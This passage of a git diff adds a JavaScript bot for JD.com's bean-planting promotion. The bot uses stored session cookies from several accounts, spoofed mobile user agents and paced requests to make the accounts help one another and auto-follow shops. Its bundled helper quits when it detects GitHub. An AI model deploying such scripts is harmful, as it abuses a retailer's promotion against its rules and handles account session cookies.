{ + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + }, + "timeout": 10000, + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function request(function_id, body = {}) { + return new Promise(async resolve => { + await $.wait(5000); + $.post(taskUrl(function_id, body), (err, resp, data) => { + try { + if (err) { + console.log('\n种豆得豆: API查询请求失败 ‼️‼️') + console.log(`function_id:${function_id}`) + $.logErr(err); + } else { + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +function taskUrl(function_id, body) { + body["version"] = "9.2.4.1"; + body["monitor_source"] = "plant_app_plant_index"; + body["monitor_refer"] = ""; + return { + url: JD_API_HOST, + body: `functionId=${function_id}&body=${escape(JSON.stringify(body))}&appid=ld&client=apple&area=19_1601_50258_51885&build=167490&clientVersion=9.3.2`, + headers: { + "Cookie": cookie, + "Host": "api.m.jd.com", + "Accept": "*/*", + "Connection": "keep-alive", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + "Accept-Language": "zh-Hans-CN;q=1,en-CN;q=0.9", + "Accept-Encoding": "gzip, deflate, br", + "Content-Type": "application/x-www-form-urlencoded" + }, + timeout: 10000, + } +} +function getParam(url, name) { + const reg = new RegExp("(^|&)" + name + "=([^&]*)(&|$)", "i") + const r = url.match(reg) + if (r != null) return unescape(r[2]); + return null; +} +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +// prettier-ignore +function Env(t, e) { "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) })) } post(t, e = (() => { })) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } diff --git a/jd_plantBean_help.js b/jd_plantBean_help.js new file mode 100644 index 0000000..06d67bc --- /dev/null +++ b/jd_plantBean_help.js @@ -0,0 +1,493 @@ +/* +种豆得豆 脚本更新地址:jd_plantBean_help.js +更新时间:2021-08-20 +活动入口:京东APP我的-更多工具-种豆得豆 +已支持IOS京东多账号,云端多京东账号 +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js +注:会自动关注任务中的店铺跟商品,介意者勿使用。 +互助码shareCode请先手动运行脚本查看打印可看到 +每个京东账号每天只能帮助3个人。多出的助力码将会助力失败。 + +=====================================Quantumult X================================= +[task_local] +40 4,17 * * * https://raw.githubusercontent.com/KingRan/JDJB/main/jd_plantBean_help.js, tag=种豆得豆, img-url=https://raw.githubusercontent.com/58xinian/icon/master/jdzd.png, enabled=true + +=====================================Loon================================ +[Script] +cron "40 4,17 * * *" script-path=https://raw.githubusercontent.com/KingRan/JDJB/main/jd_plantBean_help.js,tag=京东种豆得豆 + +======================================Surge========================== +京东种豆得豆 = type=cron,cronexp="40 4,17 * * *",wake-system=1,timeout=3600,script-path=https://raw.githubusercontent.com/KingRan/JDJB/main/jd_plantBean_help.js + +====================================小火箭============================= +京东种豆得豆 = type=cron,script-path=https://raw.githubusercontent.com/KingRan/JDJB/main/jd_plantBean_help.js, cronexpr="40 4,17 * * *", timeout=3600, enable=true + +*/ +const $ = new Env('种豆得豆内部互助'); +//Node.js用户请在jdCookie.js处填写京东ck; +//ios等软件用户直接用NobyDa的jd cookie +let jdNotify = true;//是否开启静默运行。默认true开启 +let cookiesArr = [], cookie = '', jdPlantBeanShareArr = [], isBox = false, notify, newShareCodes, option, message, subTitle; +//京东接口地址 +const JD_API_HOST = 'https://api.m.jd.com/client.action'; +//助力好友分享码(最多3个,否则后面的助力失败) +//此此内容是IOS用户下载脚本到本地使用,填写互助码的地方,同一京东账号的好友互助码请使用@符号隔开。 +//下面给出两个账号的填写示例(iOS只支持2个京东账号) +let shareCodes = [] +let allMessage = ``; +let currentRoundId = null;//本期活动id +let lastRoundId = null;//上期id +let roundList = []; +let awardState = '';//上期活动的京豆是否收取 +let randomCount = $.isNode() ? 20 : 5; +let num; +$.newShareCode = []; +let llerror=false; +let lnrun = 0; +let lnruns = 0; +!(async () => { + await requireConfig(); + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + $.hotFlag = false; //是否火爆 + await TotalBean(); + console.log(`\n开始【京东账号${$.index}】${$.nickName || $.UserName}\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + message = ''; + subTitle = ''; + option = {}; + await jdPlantBean(); + await $.wait(2 * 1000); + } + } + if ($.isNode() && allMessage) { + await notify.sendNotify(`${$.name}`, `${allMessage}`) + } +})().catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') +}).finally(() => { + $.done(); +}) + +async function jdPlantBean() { + try { + console.log(`获取任务及基本信息`) + await plantBeanIndex(); + if(llerror) + return; + for (let i = 0; i < $.plantBeanIndexResult.data.roundList.length; i++) { + if ($.plantBeanIndexResult.data.roundList[i].roundState === "2") { + num = i + break + } + } + // console.log(plantBeanIndexResult.data.taskList); + if ($.plantBeanIndexResult && $.plantBeanIndexResult.code === '0' && $.plantBeanIndexResult.data) { + const shareUrl = $.plantBeanIndexResult.data.jwordShareInfo.shareUrl + $.myPlantUuid = getParam(shareUrl, 'plantUuid') + console.log(`\n【京东账号${$.index}(${$.UserName})的${$.name}好友互助码】${$.myPlantUuid}\n`); + jdPlantBeanShareArr.push($.myPlantUuid) + + roundList = $.plantBeanIndexResult.data.roundList; + currentRoundId = roundList[num].roundId;//本期的roundId + lastRoundId = roundList[num - 1].roundId;//上期的roundId + awardState = roundList[num - 1].awardState; + $.taskList = $.plantBeanIndexResult.data.taskList; + subTitle = `【京东昵称】${$.plantBeanIndexResult.data.plantUserInfo.plantNickName}`; + lnrun++; + await doHelp(); + if (lnrun == 3) { + console.log(`\n【访问接口次数达到3次,休息半分钟.....】\n`); + await $.wait(30 * 1000); + lnrun = 0; + } + await $.wait(3 * 1000); + } else { + console.log(`种豆得豆-初始失败: ${JSON.stringify($.plantBeanIndexResult)}`); + } + } catch (e) { + $.logErr(e); + const errMsg = `京东账号${$.index} ${$.nickName || $.UserName}\n任务执行异常,请检查执行日志 ‼️‼️`; + // if ($.isNode()) await notify.sendNotify(`${$.name}`, errMsg); + //$.msg($.name, '', `${errMsg}`) + } +} +//助力好友 +async function doHelp() { + + console.log(`\n【开始账号内互助】\n`); + $.newShareCode = [...(jdPlantBeanShareArr || [])] + + for (let plantUuid of $.newShareCode) { + console.log(`【${$.UserName}】开始助力: ${plantUuid}`); + if (!plantUuid) continue; + if (plantUuid === $.myPlantUuid || $.plantBeanIndexResult.errorCode === 'PB101' ) { + console.log(`\n跳过自己的plantUuid\n`) + continue + } + lnruns++; + await helpShare(plantUuid); + if (lnruns == 5) { + console.log(`\n【访问接口次数达到5次,休息半分钟.....】\n`); + await $.wait(30 * 1000); + lnruns = 0; + } + if ($.helpResult && $.helpResult.code === '0' && $.helpResult.data) { + console.log(`助力好友结果: ${JSON.stringify($.helpResult.data.helpShareRes)}`); + if ($.helpResult.data && $.helpResult.data.helpShareRes) { + if ($.helpResult.data.helpShareRes.state === '1') { + console.log(`助力好友${plantUuid}成功`) + console.log(`${$.helpResult.data.helpShareRes.promptText}\n`); + } else if ($.helpResult.data.helpShareRes.state === '2') { + console.log('您今日助力的机会已耗尽,已不能再帮助好友助力了\n'); + break; + } else if ($.helpResult.data.helpShareRes.state === '3') { + console.log('该好友今日已满9人助力/20瓶营养液,明天再来为Ta助力吧\n') + } else if ($.helpResult.data.helpShareRes.state === '4') { + console.log(`${$.helpResult.data.helpShareRes.promptText}\n`) + } else { + console.log(`助力其他情况:${JSON.stringify($.helpResult.data.helpShareRes)}`); + } + } + } else { + console.log(`助力好友失败: ${JSON.stringify($.helpResult)}`); + break; + } + } +} +function showMsg() { + $.log(`\n${message}\n`); + jdNotify = $.getdata('jdPlantBeanNotify') ? $.getdata('jdPlantBeanNotify') : jdNotify; + if (!jdNotify || jdNotify === 'false') { + $.msg($.name, subTitle, message); + } +} +// ================================================此处是API================================= +//每轮种豆活动获取结束后,自动收取京豆 +async function getReward() { + const body = { + "roundId": lastRoundId + } + $.getReward = await request('receivedBean', body); +} +//收取营养液 +async function cultureBean(currentRoundId, nutrientsType) { + let functionId = arguments.callee.name.toString(); + let body = { + "roundId": currentRoundId, + "nutrientsType": nutrientsType, + } + $.cultureBeanRes = await request(functionId, body); +} +//偷营养液大于等于3瓶的好友 +//①查询好友列表 +async function stealFriendList() { + const body = { + pageNum: '1' + } + $.stealFriendList = await request('plantFriendList', body); +} + +//②执行偷好友营养液的动作 +async function collectUserNutr(paradiseUuid) { + console.log('开始偷好友'); + // console.log(paradiseUuid); + let functionId = arguments.callee.name.toString(); + const body = { + "paradiseUuid": paradiseUuid, + "roundId": currentRoundId + } + $.stealFriendRes = await request(functionId, body); +} +async function receiveNutrients() { + $.receiveNutrientsRes = await request('receiveNutrients', { "roundId": currentRoundId, "monitor_refer": "plant_receiveNutrients" }) + // console.log(`定时领取营养液结果:${JSON.stringify($.receiveNutrientsRes)}`) +} +async function plantEggDoLottery() { + $.plantEggDoLotteryResult = await requestGet('plantEggDoLottery'); +} +//查询天天扭蛋的机会 +async function egg() { + $.plantEggLotteryRes = await requestGet('plantEggLotteryIndex'); +} +async function productTaskList() { + let functionId = arguments.callee.name.toString(); + $.productTaskList = await requestGet(functionId, { "monitor_refer": "plant_productTaskList" }); +} +async function plantChannelTaskList() { + let functionId = arguments.callee.name.toString(); + $.plantChannelTaskList = await requestGet(functionId); + // console.log('$.plantChannelTaskList', $.plantChannelTaskList) +} +async function shopTaskList() { + let functionId = arguments.callee.name.toString(); + $.shopTaskListRes = await requestGet(functionId, { "monitor_refer": "plant_receiveNutrients" }); + // console.log('$.shopTaskListRes', $.shopTaskListRes) +} +async function receiveNutrientsTask(awardType) { + const functionId = arguments.callee.name.toString(); + const body = { + "monitor_refer": "receiveNutrientsTask", + "awardType": `${awardType}`, + } + $.receiveNutrientsTaskRes = await requestGet(functionId, body); +} +async function plantShareSupportList() { + $.shareSupportList = await requestGet('plantShareSupportList', { "roundId": "" }); + if ($.shareSupportList && $.shareSupportList.code === '0') { + const { data } = $.shareSupportList; + //当日北京时间0点时间戳 + const UTC8_Zero_Time = parseInt((Date.now() + 28800000) / 86400000) * 86400000 - 28800000; + //次日北京时间0点时间戳 + const UTC8_End_Time = parseInt((Date.now() + 28800000) / 86400000) * 86400000 - 28800000 + (24 * 60 * 60 * 1000); + let friendList = []; + data.map(item => { + if (UTC8_Zero_Time <= item['createTime'] && item['createTime'] < UTC8_End_Time) { + friendList.push(item); + } + }) + message += `【助力您的好友】共${friendList.length}人`; + } else { + console.log(`异常情况:${JSON.stringify($.shareSupportList)}`) + } +} +//助力好友的api +async function helpShare(plantUuid) { + console.log(`\n开始助力好友: ${plantUuid}`); + const body = { + "plantUuid": plantUuid, + "wxHeadImgUrl": "", + "shareUuid": "", + "followType": "1", + } + $.helpResult = await request(`plantBeanIndex`, body); + //console.log(`助力结果的code:${$.helpResult && $.helpResult.code}`); +} +async function plantBeanIndex() { + llerror=false; + $.plantBeanIndexResult = await request('plantBeanIndex'); //plantBeanIndexBody + if ($.plantBeanIndexResult.errorCode === 'PB101') { + console.log(`\n活动太火爆了,还是去买买买吧!\n`) + llerror=true; + return + } + if ($.plantBeanIndexResult.errorCode) { + console.log(`获取任务及基本信息出错,10秒后重试\n`) + await $.wait(10000); + $.plantBeanIndexResult = await request('plantBeanIndex'); + if ($.plantBeanIndexResult.errorCode === 'PB101') { + console.log(`\n活动太火爆了,还是去买买买吧!\n`) + llerror=true; + return + } + } + if ($.plantBeanIndexResult.errorCode) { + console.log(`获取任务及基本信息出错,30秒后重试\n`) + await $.wait(30000); + $.plantBeanIndexResult = await request('plantBeanIndex'); + if ($.plantBeanIndexResult.errorCode === 'PB101') { + console.log(`\n活动太火爆了,还是去买买买吧!\n`) + llerror=true; + return + } + } + if ($.plantBeanIndexResult.errorCode) { + console.log(`获取任务及基本信息失败,活动异常,换个时间再试试吧....`) + console.log("错误代码;" + $.plantBeanIndexResult.errorCode) + llerror=true; + return + } +} +function requestGet(function_id, body = {}) { + if (!body.version) { + body["version"] = "9.0.0.1"; + } + body["monitor_source"] = "plant_app_plant_index"; + body["monitor_refer"] = ""; + return new Promise(async resolve => { + await $.wait(2000); + const option = { + url: `${JD_API_HOST}?functionId=${function_id}&body=${escape(JSON.stringify(body))}&appid=ld`, + headers: { + 'Cookie': cookie, + 'Host': 'api.m.jd.com', + 'Accept': '*/*', + 'Connection': 'keep-alive', + 'User-Agent': 'JD4iPhone/167283 (iPhone;iOS 13.6.1;Scale/3.00)', + 'Accept-Language': 'zh-Hans-CN;q=1,en-CN;q=0.9', + 'Accept-Encoding': 'gzip, deflate, br', + 'Content-Type': "application/x-www-form-urlencoded" + }, + timeout: 10000, + }; + $.get(option, (err, resp, data) => { + try { + if (err) { + console.log('\n种豆得豆: API查询请求失败 ‼️‼️') + $.logErr(err); + } else { + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + }, + "timeout": 10000, + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function requireConfig() { + return new Promise(resolve => { + //console.log('开始获取种豆得豆配置文件\n') + notify = $.isNode() ? require('./sendNotify') : ''; + //Node.js用户请在jdCookie.js处填写京东ck; + const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; + const jdPlantBeanShareCodes = ''; + //IOS等用户直接用NobyDa的jd cookie + if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + if (jdCookieNode[item]) { + cookiesArr.push(jdCookieNode[item]) + } + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { }; + } else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); + } + console.log(`共${cookiesArr.length}个京东账号\n`) + $.shareCodesArr = []; + if ($.isNode()) { + Object.keys(jdPlantBeanShareCodes).forEach((item) => { + if (jdPlantBeanShareCodes[item]) { + $.shareCodesArr.push(jdPlantBeanShareCodes[item]) + } + }) + } else { + if ($.getdata('jd_plantBean_help_inviter')) $.shareCodesArr = $.getdata('jd_plantBean_help_inviter').split('\n').filter(item => !!item); + //console.log(`\nBoxJs设置的${$.name}好友邀请码:${$.getdata('jd_plantBean_help_inviter') ? $.getdata('jd_plantBean_help_inviter') : '暂无'}\n`); + } + // console.log(`\n种豆得豆助力码::${JSON.stringify($.shareCodesArr)}`); + //console.log(`您提供了${$.shareCodesArr.length}个账号的种豆得豆助力码\n`); + resolve() + }) +} +function request(function_id, body = {}) { + return new Promise(async resolve => { + await $.wait(2000); + $.post(taskUrl(function_id, body), (err, resp, data) => { + try { + if (err) { + console.log('\n种豆得豆: API查询请求失败 ‼️‼️') + console.log(`function_id:${function_id}`) + $.logErr(err); + } else { + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +function taskUrl(function_id, body) { + body["version"] = "9.2.4.0"; + body["monitor_source"] = "plant_app_plant_index"; + body["monitor_refer"] = ""; + return { + url: JD_API_HOST, + body: `functionId=${function_id}&body=${escape(JSON.stringify(body))}&appid=ld&client=apple&area=19_1601_50258_51885&build=167490&clientVersion=9.3.2`, + headers: { + "Cookie": cookie, + "Host": "api.m.jd.com", + "Accept": "*/*", + "Connection": "keep-alive", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + "Accept-Language": "zh-Hans-CN;q=1,en-CN;q=0.9", + "Accept-Encoding": "gzip, deflate, br", + "Content-Type": "application/x-www-form-urlencoded" + }, + timeout: 10000, + } +} +function getParam(url, name) { + const reg = new RegExp("(^|&)" + name + "=([^&]*)(&|$)", "i") + const r = url.match(reg) + if (r != null) return unescape(r[2]); + return null; +} +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +// prettier-ignore +function Env(t, e) { "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } 